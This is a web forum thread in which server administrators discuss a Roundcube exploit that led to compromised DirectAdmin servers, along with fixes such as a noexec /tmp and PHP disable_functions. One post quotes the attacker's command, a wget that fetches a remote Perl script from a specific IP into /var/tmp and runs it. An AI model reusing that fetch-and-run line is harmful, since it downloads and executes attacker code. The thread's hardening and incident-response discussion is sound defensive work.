Roundcube vulnerability ??

jackc said:
didn't you secure /tmp?
Click to expand...

Well, did not cross my mind as all web apps we are using are in-house ones - except the ones installed by DA (grin). I have deliberately told everybody NOT to install Joomlas, PhpBBS's and other problem magnets.

Time to learn securing it the hard way... :(

is this one of the correct ways to do that?

Code: 
cd /var
dd if=/dev/zero of=/var/TmpFS bs=1024 count=1024000
mkfs -t ext3 /var/TmpFS
cp -aR /tmp /tmp_backup
mount -o loop,noexec,nosuid,rw /var/TmpFS /tmp
cp -aR /tmp_backup/* /tmp/
chmod 0777 /tmp

---

vi /etc/fstab
/var/TmpFS /tmp ext3 loop,noexec,nosuid,rw 0 0

I tested this on my office Ubuntu and it worked fine - I suppose it will work with CentOS 5.x as well?

Markku
 
Regarding Joomla and other web apps: if PHP is properly secured (suPHP, system-level functions disabled, latest patches, secured tmp), it seems the only site that would get hosed would be theirs, right?
 
jlounds said:
Regarding Joomla and other web apps: if PHP is properly secured (suPHP, system-level functions disabled, latest patches, secured tmp), it seems the only site that would get hosed would be theirs, right?
Click to expand...

Or the other way around: If you do not accept installations worm cans of all sorts you do not need to disable functions you may find handy (and safe when used properly) in your own web applications. This is my philosophy as I am not a general ISP and probably never will be.

Yes, and there are many things one can do better and it is by mistakes one seems to learn best - just like securing the /tmp directory and reading the security forums every now and then. I never took the time to have a look at Roundcube, for instance. Well - ProFTPD and PhpMyAdmin are the next two candidates I will have a look at. I have already configured SSHD to a weird non-standard port and got rid of ALL login attempts.

A few years ago we were installing a local internet server when my colleague needed ftp for some funny purpose for an hour or so and so he installed wu-ftpd. During that short period of time somebody dropped in a rootkit using the vulnerability of the daemon. Sigh!

Markku
 
I just found out about this thread. Our server got comprimised on January, 1st. At first we didn't notice but received a phonecall from our colocator that our server was executing dos attacks on serveral IRC servers.

I started investigating and found serveral files in the /tmp directory. no system files could be replaced because the files are uploaded under the apache user and not root. So we just removed the files and updated roundcube.

We have created a seperate partition for /tmp with NO execute rights for anyone, not even root. This should fix the issue of people starting non authorized processes in the future.
 
We just get noticed that one of our server try to attack to some ips..

We check and we saw that wcube proc running and server have high load.
We kill this proc we update round cube and we clear temp..

Is this ok?
How can i Secure /tmp?

also i make some pgp.ini changes

disable_functions = proc_open , popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, shell_exec, passthru

allow_url_fopen off
allow_url_include off

is this ok??
 
Last edited:
I've already posted this morning in two theads the link to a thread DirectAdmin staffer Mark made on webhostingtalk. This makes three.

:)

Edit: I just noticed above in this thread that Mark also posted the same in this thread, directly above.

Jeff
 
I am not sure but I think I was the one that brought to everybody's attention. Its rare that I am the first one. I am usually the last to know. Even if I wasn't the first I am glad I was able to contribute to a security warning.
 
it just weird that seems lots people didn't do much security on their servers, if tmp mounted as noexec, disable_functions, this wouldn't have happened. come one guys, secure your servers.
 
Blame the victims??

My first post:

wget 64.62.225.99/~jhtech/cback.txt -O /var/tmp/cb.txt;/usr/bin/perl /var/tmp/cb.txt
Click to expand...

Yes if wget had been disabled they would not have been able to use that method to upload the file. They probably would have found another way. However tmp mounted as noexec will not prevent the command that followed from executing namely /usr/bin/perl /var/tmp/cb.txt

tmp mounted as noexec is a false sense of security. Nothing replaces activity looking for problems.

And I did have a security measure in place and that's how I found it. Mine killed the process before it could get started and then emailed me. The script I use is posted here somewhere.

The fault lies with Roundcube period, the end, that's all folks.
 
I agree with floyd, but I think that who's the fault depends on the circumstances.

Let me be more clear, I'll take a moment to state what I learn from my job as security analyst and my experiences about OSS. Then the OT will finish on my part :) promise.

There is absolutely no way to write bug-free software.
There is absolutely no way to have an active server with no security breach.

The effort to maintain security and privacy must be on all levels (proactive, passive, active), from everybody (developer, admin), constant and possibly flawless. I'm talking about the effort of course, everyone should do what's possible to bring security at the wanted level; security itself can. not. be. flawless.

Now, what's to understand is that people have different needs.
For example, there is absolutely no need for any security if a student wants to study someone's daemon/web code and build up a lab's standalone server just to see what it looks like.
Differently, one must obtain a very high level of security if running the same code on a server reachable via Internet which resides in a high risk network, like a bank.

This means that the developer must pay attention to the security, but since it's not possible to secure a software just by coding it right, there is no sense putting too much effort on it either: integrators (people that puts the software where it resides, or simply administrators) are anyway meant to use other means to secure the service at the wanted level.
If an OSS developer spends all of his time worrying about security, well the results are: the software won't be written or will be written too slowly, and the security won't anyway be good enough for high profile "customers" for the stated reasons. It's really that simple.

Now, of course this brings us to the responsibility of the integrator to judge if a software is secure enough, and also the responsibility of the developer to follow at least the basics rules of security, maybe take some security-related lessons about the language he's writing with.
The integrator will have to check, or make someone check, for public disclosures on the software's vulnerabilities (for example by subscribing to Bugtraq mailing list), that's the error most people here has done, and the developer will have to ask someone expert when including some language he doesn't really master, that's probably the error that the Roundcube developer has done (the vulnerable code is in perl).
There are thousands of small to huge things that either the integrator or the developer can do to improve security beside what I just told, but once again it depends on what the wanted security level is.

My 2 cents.
 
floyd said:
Blame the victims??

My first post:



Yes if wget had been disabled they would not have been able to use that method to upload the file. They probably would have found another way. However tmp mounted as noexec will not prevent the command that followed from executing namely /usr/bin/perl /var/tmp/cb.txt

tmp mounted as noexec is a false sense of security. Nothing replaces activity looking for problems.

And I did have a security measure in place and that's how I found it. Mine killed the process before it could get started and then emailed me. The script I use is posted here somewhere.

The fault lies with Roundcube period, the end, that's all folks.
Click to expand...


i see now. that's why I don't even have perl compile into apache. but i don't agree that tmp mount as noexec is not a security measure, it does help alot, it is always not enough security. have to minimize the damage when something happen. make me remember a thread I made long ago http://www.directadmin.com/forum/showthread.php?t=24589
 
Last edited:
In the past i have been using php exec_dir, it is a hack to route al exec requests to a seperate directory, only the links in that directory (that are pointing to existing applications) can be executed. So you could rename wget to weeget for example, and only create the links for applications you really need. Note that something like this is already in php but only with safe_mode enabled, and some sites on my server really need it off.

The patch is here: http://www.kyberdigi.cz/projects/execdir/english.html

A little quote from the author:
PHP has no known possibility to limit executing of external commands with disabled safe mode. Teherefore, here is a patch adding special directive exec_dir straightly into PHP. This directive is very similar to safe_mode_exec_dir, but safe mode has not to be enabled
Click to expand...
 
Last edited:
tillo said:
Now, of course this brings us to the responsibility of the integrator to judge if a software is secure enough, and also the responsibility of the developer to follow at least the basics rules of security, maybe take some security-related lessons about the language he's writing with.
The integrator will have to check, or make someone check, for public disclosures on the software's vulnerabilities (for example by subscribing to Bugtraq mailing list), that's the error most people here has done, and the developer will have to ask someone expert when including some language he doesn't really master, that's probably the error that the Roundcube developer has done (the vulnerable code is in perl).
There are thousands of small to huge things that either the integrator or the developer can do to improve security beside what I just told, but once again it depends on what the wanted security level is.
Click to expand...

And this is exactly what my point was earlier in a different thread. DirectAdmin is an "integrator" of sorts. DirectAdmin could basically absolve itself of dealing with these kinds of responsibility issues if it forced a user to choose to install an app like Roundcube at install time rather than have the user have go clean up unwanted things afterwards.

Just like every other component of security that people have mentioned in this thread, being proactive at not installing things that you are not using is another way to increase security. In this scenario, anyone who had chosen to not install Roundcube would not have been vulnerable to this particular exploit period.
 
Last edited:
jlounds said:
Also, does anyone see a downside to adding the following in the <Directory "/var/www/html"> section of /etc/httpd/conf/httpd.conf ?
php_admin_value open_basedir /var/www/html:/tmp:/usr/local/lib/php/
php_admin_flag safe_mode On
Click to expand...
Be aware, Safe_Mode breaks myphpadmin, complains about user permissions
 
jackc said:
it just weird that seems lots people didn't do much security on their servers, if tmp mounted as noexec, disable_functions, this wouldn't have happened. come one guys, secure your servers.
Click to expand...

When talking about a general Internet server you are correct. However, if one is running an application server that only delivers services from in-house applications and does not include any of the very widely spread open source applications the situation is different.

Cracking to a well-written in-house application is almost impossible without seeing the code - we have attempted to write our code so that even the programming language is hidden from the browser (no xxx.php?pageid=123&imgid=1123 etc). Moreover, we have just one single executable php script in our in-house applications - the rest are class definition files with no entry point. And forcing every request to that single entry point using .htaccess makes things for a cracker even more challenging :)

As far as I know all succesful big cracking attempts have been directed to well-known and widely spread open source applications - been there maaany times before!

The above said you are ABSOLUTELY right with regard to a standard DA based server. Here we have a bunch of open source applications (PhpMyAdmin, RoundCube, Squirrelmail...). Hiding them from their default locations will help as well and that is what we will do next.

Markku
 
What script do you use to check what proccess apache run and kill them?

I would be more than happy to run it on myserver too.

P.S

Like it already been said, It was a preg_replace using /e (eval) to get php commands to run.

I'm pretty sure that suhosin would stopped it cause it not allowing using this modifier.
 
Last edited:
i see now. that's why I don't even have perl compile into apache. but i don't agree that tmp mount as noexec is not a security measure, it does help alot, it is always not enough security. have to minimize the damage when something happen. make me remember a thread I made long ago http://www.directadmin.com/forum/showthread.php?t=24589
Click to expand...

mod_perl had nothing to do with this.

I never said tmp mount as noexec is not a security measure. I said it provides a false sense of security and provided and we have the example of this exploit that proves it. The full path to perl was provided so the script itself did not need to be executed.
 
You must log in or register to reply here.
Back
Top